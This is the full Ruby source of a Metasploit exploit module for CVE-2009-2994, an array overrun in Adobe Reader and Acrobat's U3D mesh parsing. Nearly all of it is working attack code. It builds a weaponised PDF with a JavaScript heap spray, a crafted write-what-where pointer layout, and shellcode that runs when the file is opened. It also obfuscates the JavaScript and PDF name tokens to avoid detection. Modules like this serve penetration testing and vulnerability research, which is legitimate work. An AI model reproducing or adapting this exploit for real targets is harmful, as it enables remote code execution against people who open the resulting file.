Adobe U3D CLODProgressiveMeshDeclaration Array Overrun

`###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
require 'zlib'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',  
'Description' => %q{  
This module exploits an array overflow in Adobe Reader and Adobe Acrobat.  
Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a   
specially crafted pdf that a contains malformed U3D data, an attacker may   
be able to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',  
'jduck'  
],  
'Version' => '$Revision: 7959 $',  
'References' =>  
[  
[ 'CVE', '2009-2994' ],  
[ 'OSVDB', '58912' ],  
[ 'BID', '36689' ],  
[ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],  
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# test results (on Windows XP SP3)  
# reader 7.0.5 - untested  
# reader 7.0.8 - untested  
# reader 7.0.9 - untested  
# reader 7.1.0 - untested  
# reader 7.1.1 - untested  
# reader 8.0.0 - untested  
# reader 8.1.2 - works  
# reader 8.1.3 - not working :-/  
# reader 8.1.4 - untested  
# reader 8.1.5 - untested  
# reader 8.1.6 - untested  
# reader 9.0.0 - untested  
# reader 9.1.0 - works  
[ 'Adobe Reader Windows Universal (JS Heap Spray)',  
{  
'Size' => (6500/20),  
'DataAddr' => 0x09011020,  
'WriteAddr' => 0x7c49fb34,  
}  
],  
],  
'DisclosureDate' => 'Oct 13 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),  
], self.class)  
  
end  
  
  
  
def exploit   
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Make some nops  
nops = Rex::Text.to_unescape(make_nops(4))  
  
=begin  
  
Original notes on heap technique used in this exploit:  
  
## PREPAREHOLES:  
## We will construct 6500*20 bytes long chunks starting like this   
## |0 |6 |8 |C |24 |size  
## |00000... |0100|20100190|0000... | ......pad...... |  
## \ \   
## \ \ -Pointer: to controlled data  
## \ -Flag: must be 1  
## -Adobe will handle this ragged structure if the Flag is on.  
## -Adobe will get 'what to write where' from the memory pointed   
## by our supplied Pointer.   
##  
## then allocate a bunch of those ..  
## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | ..  
## |XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX|  
##  
## and then free some of them...  
## .. | chunk | free | chunk | free | chunk | free | chunck | ..  
## |XXXXXXX| |XXXXXXX| |XXXXXXX| |XXXXXXXX|  
##  
## This way controlling when the next 6500*20 malloc will be   
## followed with. We freed more than one hole so it became tolerant  
## to some degree of malloc/free trace noise.  
## Note the 6500 is arbitrary it should be a fairly unused chunk size   
## not big enough to cause a different type of allocation.  
## Also as we don't need to reference it from anywhere we don't care   
## where this hole layout is placed in memory.  
  
## PREPAREMEMORY:  
## In the next technique we make a big-chunk of 0x10000 bytes   
## repeating a 0x1000 bytes long mini-chunk of controled data.   
## Big-chunks are always allocated aligned to 0x1000. And if we   
## allocate a fair amount of big-chuncks (XPSPx) we'll be confident   
## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000  
## will have our mini chunk  
##  
## A mini-chunk will have this look  
##   
## |0 |10 |54 |? |0xff0 |0x1000  
## |00000... | POINTERS | nops | shellcode | pad |  
##  
## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+  
## But we use 0x09011064.  
## POINTERS looks like this:  
## ...  
  
=end  
  
# prepare the hole  
daddr = target['DataAddr']  
hole_data = [0,0,1,daddr].pack('VvvV')  
#padding  
hole_data << "\x00" * 24  
hole = Rex::Text.to_unescape(hole_data)  
  
# prepare ptrs  
ptrs_data = [0].pack('V')  
#where to write  
ptrs_data << [target['WriteAddr'] / 4].pack('V')  
#must be greater tan 5 and less than x for getting us where we want  
ptrs_data << [6].pack('V')  
#what to write  
ptrs_data << [(daddr+0x10)].pack('V')  
#autopointer for print magic(tm)  
ptrs_data << [(daddr+0x14)].pack('V')  
#function pointers for print magic(tm)   
#pointing to our shellcode  
ptrs_data << [(daddr+0x44)].pack('V') * 12  
ptrs = Rex::Text.to_unescape(ptrs_data)  
  
js_doc = %Q|  
function prepareHoles(slide_size)  
{  
var size = 1000;  
var xarr = new Array(size);  
var hole = unescape("#{hole}");  
var pad = unescape("%u5858");  
while (pad.length <= slide_size/2 - hole.length)  
pad += pad;  
for (loop1=0; loop1 < size; loop1+=1)  
{  
ident = ""+loop1;  
xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);  
}  
for (loop2=0;loop2<100;loop2++)  
{  
for (loop1=size/2; loop1 < size-2; loop1+=2)  
{  
xarr[loop1]=null;  
xarr[loop1]=pad.substring(0,0x10000/2 )+"A";  
xarr[loop1]=null;  
}  
}  
return xarr;  
}  
  
function prepareMemory(size)  
{  
var mini_slide_size = 0x1000;  
var slide_size = 0x100000;  
var xarr = new Array(size);  
var pad = unescape("%ucccc");  
  
while (pad.length <= 32 )   
pad += pad;  
  
var nops = unescape("#{nops}");  
while (nops.length <= mini_slide_size/2 - nops.length)   
nops += nops;  
  
var shellcode = unescape("#{shellcode}");  
var pointers = unescape("#{ptrs}");  
var chunk = nops.substring(0,32/2) + pointers +   
nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) +  
shellcode + pad.substring(0,32/2);  
chunk=chunk.substring(0,mini_slide_size/2);  
while (chunk.length <= slide_size/2)   
chunk += chunk;  
  
for (loop1=0; loop1 < size; loop1+=1)  
{  
ident = ""+loop1;  
xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident;  
}  
return xarr;  
}  
  
var mem = prepareMemory(200);  
var holes = prepareHoles(6500);  
this.pageNum = 1;  
|  
js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|  
  
# Obfuscate it up a bit  
js_doc = obfuscate_js(js_doc,  
'Symbols' => {  
'Variables' => %W{ slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident },  
'Methods' => %W{ prepareMemory prepareHoles }  
}).to_s  
  
# create the u3d stuff  
u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))  
  
# Create the pdf  
pdf = make_pdf(u3d, js_doc, js_pg1)  
  
print_status("Creating '#{datastore['FILENAME']}' file...")   
  
file_create(pdf)  
end  
  
  
def obfuscate_js(javascript, opts)  
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)  
js.obfuscate  
return js  
end  
  
  
def RandomNonASCIIString(count)  
result = ""  
count.times do  
result << (rand(128) + 128).chr  
end  
result  
end  
  
def ioDef(id)  
"%d 0 obj\n" % id  
end  
  
def ioRef(id)  
"%d 0 R" % id  
end  
  
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/  
def nObfu(str)  
  
result = ""  
str.scan(/./u) do |c|  
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'  
result << "#%x" % c.unpack("C*")[0]  
else  
result << c  
end  
end  
result  
end  
  
def ASCIIHexWhitespaceEncode(str)  
result = ""  
whitespace = ""  
str.each_byte do |b|  
result << whitespace << "%02x" % b  
whitespace = " " * (rand(3) + 1)  
end  
result << ">"  
end  
  
def u3d_pad(str, char="\x00")  
ret = ""  
if (str.length % 4) > 0  
ret << char * (4 - (str.length % 4))  
end  
return ret  
end  
  
  
def make_u3d_stream(size, meshname)  
  
# build the U3D header  
hdr_data = [1,0].pack('n*') # version info  
hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')  
hdr = "U3D\x00"  
hdr << [hdr_data.length,0].pack('VV')  
hdr << hdr_data  
  
# mesh declaration  
decl_data = [meshname.length].pack('v')  
decl_data << meshname  
decl_data << [0].pack('V') # chain idx  
# max mesh desc  
decl_data << [0].pack('V') # mesh attrs  
decl_data << [1].pack('V') # face count  
decl_data << [size].pack('V') # position count  
decl_data << [4].pack('V') # normal count  
decl_data << [0].pack('V') # diffuse color count  
decl_data << [0].pack('V') # specular color count  
decl_data << [0].pack('V') # texture coord count  
decl_data << [1].pack('V') # shading count  
# shading desc  
decl_data << [0].pack('V') # shading attr  
decl_data << [0].pack('V') # texture layer count  
decl_data << [0].pack('V') # texture coord dimensions  
# no textore coords (original shading ids)  
decl_data << [size+2].pack('V') # minimum resolution  
decl_data << [size+3].pack('V') # final maximum resolution (needs to be bigger than the minimum)  
# quality factors  
decl_data << [0x12c].pack('V') # position quality factor  
decl_data << [0x12c].pack('V') # normal quality factor  
decl_data << [0x12c].pack('V') # texture coord quality factor  
# inverse quantiziation  
decl_data << [0].pack('V') # position inverse quant  
decl_data << [0].pack('V') # normal inverse quant  
decl_data << [0].pack('V') # texture coord inverse quant  
decl_data << [0].pack('V') # diffuse color inverse quant  
decl_data << [0].pack('V') # specular color inverse quant  
# resource params  
decl_data << [0].pack('V') # normal crease param  
decl_data << [0].pack('V') # normal update param  
decl_data << [0].pack('V') # normal tolerance param  
# skeleton description  
decl_data << [0].pack('V') # bone count  
# padding  
decl_pad = u3d_pad(decl_data)  
mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')  
mesh_decl << decl_data  
mesh_decl << decl_pad  
  
# build the modifier chain  
chain_data = [meshname.length].pack('v')  
chain_data << meshname  
chain_data << [1].pack('V') # type (model resource)  
chain_data << [0].pack('V') # attributes (no bounding info)  
chain_data << u3d_pad(chain_data)  
chain_data << [1].pack('V') # number of modifiers  
chain_data << mesh_decl  
modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')  
modifier_chain << chain_data  
  
# mesh continuation  
cont_data = [meshname.length].pack('v')  
cont_data << meshname  
cont_data << [0].pack('V') # chain idx  
cont_data << [0].pack('V') # start resolution  
cont_data << [0].pack('V') # end resolution  
# no resolution update, unknown data follows  
cont_data << [0].pack('V')  
cont_data << [1].pack('V') * 10  
mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')  
mesh_cont << cont_data  
mesh_cont << u3d_pad(cont_data)  
  
data = hdr  
data << modifier_chain  
data << mesh_cont  
  
# patch the length  
data[24,4] = [data.length].pack('V')  
  
return data  
  
end  
  
def make_pdf(u3d_stream, js_doc, js_pg1)  
  
xref = []  
eol = "\x0a"  
obj_end = "" << eol << "endobj" << eol  
  
# the header  
pdf = "%PDF-1.7" << eol  
  
# filename/comment  
pdf << "%" << RandomNonASCIIString(4) << eol  
  
# js stream (doc open action js)  
xref << pdf.length  
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc))  
pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol  
pdf << "stream" << eol  
pdf << compressed << eol  
pdf << "endstream" << eol  
pdf << obj_end  
  
# js stream 2 (page 1 annot js)  
xref << pdf.length  
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_pg1))  
pdf << ioDef(2) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol  
pdf << "stream" << eol  
pdf << compressed << eol  
pdf << "endstream" << eol  
pdf << obj_end  
  
# catalog  
xref << pdf.length  
pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)  
pdf << nObfu("/Pages ") << ioRef(5)  
pdf << nObfu("/OpenAction ") << ioRef(8) << nObfu(">>")  
pdf << obj_end  
  
# outline  
xref << pdf.length  
pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")  
pdf << obj_end  
  
# pages/kids  
xref << pdf.length  
pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")  
pdf << ioRef(10) << " " # empty page  
pdf << ioRef(11) # u3d page  
pdf << nObfu("]>>")  
pdf << obj_end  
  
# u3d stream  
xref << pdf.length  
pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol  
pdf << "stream" << eol  
pdf << u3d_stream << eol  
pdf << "endstream"  
pdf << obj_end  
  
# u3d annotation object  
xref << pdf.length  
pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")  
pdf << "/3D/3DA <</A/PO/DIS/I>>"  
pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")  
pdf << obj_end  
  
# js dict (open action js)  
xref << pdf.length  
pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end  
  
# js dict (page 1 annot js)  
xref << pdf.length  
pdf << ioDef(9) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(2) + ">>" << obj_end  
  
# page 0 (empty)  
xref << pdf.length  
pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")  
pdf << nObfu(" >>")  
pdf << obj_end  
  
# page 1 (u3d/print)  
xref << pdf.length  
pdf << ioDef(11) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")  
pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")  
pdf << nObfu("/AA << /O ") << ioRef(9) << nObfu(">>")  
pdf << nObfu(">>")  
pdf << obj_end  
  
# xrefs  
xrefPosition = pdf.length  
pdf << "xref" << eol  
pdf << "0 %d" % (xref.length + 1) << eol  
pdf << "0000000000 65535 f" << eol  
xref.each do |index|  
pdf << "%010d 00000 n" % index << eol  
end  
  
# trailer  
pdf << "trailer" << eol  
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol  
pdf << "startxref" << eol  
pdf << xrefPosition.to_s() << eol  
pdf << "%%EOF" << eol  
  
end  
  
end  
`